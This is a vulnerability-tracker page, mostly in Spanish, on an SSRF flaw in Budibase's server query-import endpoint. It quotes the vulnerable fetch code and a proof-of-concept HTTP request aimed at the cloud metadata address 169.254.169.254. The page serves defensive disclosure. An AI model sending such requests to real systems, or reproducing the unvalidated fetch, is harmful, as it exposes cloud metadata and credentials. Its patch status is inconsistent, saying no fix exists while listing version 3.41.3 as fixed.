llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · @budibase/server

GHSA-48X3-9PH2-P9GJ

Server-Side Request Forgery (SSRF) via Query Import

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
7.1
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición97 dDesde la divulgación, 14 ago 2026, 3:57 a. m.
Detección96 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
14 ago 26
18 nov 26
19 nov 26
14 ago 26
7 sept 26
2 oct 26
26 oct 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-48X3-9PH2-P9GJ divulgada · CVSS 7.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
The query import endpoint (`POST /api/queries/import/info`) calls fetchFromUrl() which uses node-fetch to retrieve content from a user-supplied URL with zero validation — no URL scheme check, no IP blacklisting, no hostname resolution check, no redirect restrictions. The full HTTP response body is returned to the caller.

Affected Code
  • _File: packages/server/src/api/controllers/query/import/index.ts (Lines 74–91)_
async function fetchFromUrl(url: string): Promise<string> {
  try {
    const response = await fetch(url)  // NO URL VALIDATION — NO SSRF PROTECTION
    if (!response.ok) {
      throw new HTTPError(
        `Failed to fetch import data (status ${response.status})`,
        response.status
      )
    }
    return await response.text()
  } catch (error: any) {
    if (error instanceof HTTPError) throw error
    throw new HTTPError(`Failed to fetch import data - ${error?.message}`, 502)
  }
}
  • _Route: packages/server/src/api/routes/query.ts (Line 41)_
builderRoutes.post("/api/queries/import/info", queryController.importInfo)

### PoC
- Send the following request as authenticated users:

POST /api/queries/import/info HTTP/1.1
Host: localhost:10000
Content-Type: application/json
x-budibase-app-id: <WORKSPACE-ID>
Content-Length: 60

{"url":"http://169.254.169.254/metadata/v1/dns/nameservers"}
  • Observe that the response contains the cloud metadata.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
@budibase/server< 3.41.3
3.38.1
3.41.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@budibase/server
Sin parche — — 3.38.1 afectada
Versiones corregidas3.41.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Budibase/budibase/security/advisories/GHSA-48x3-9ph2-p9gj

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.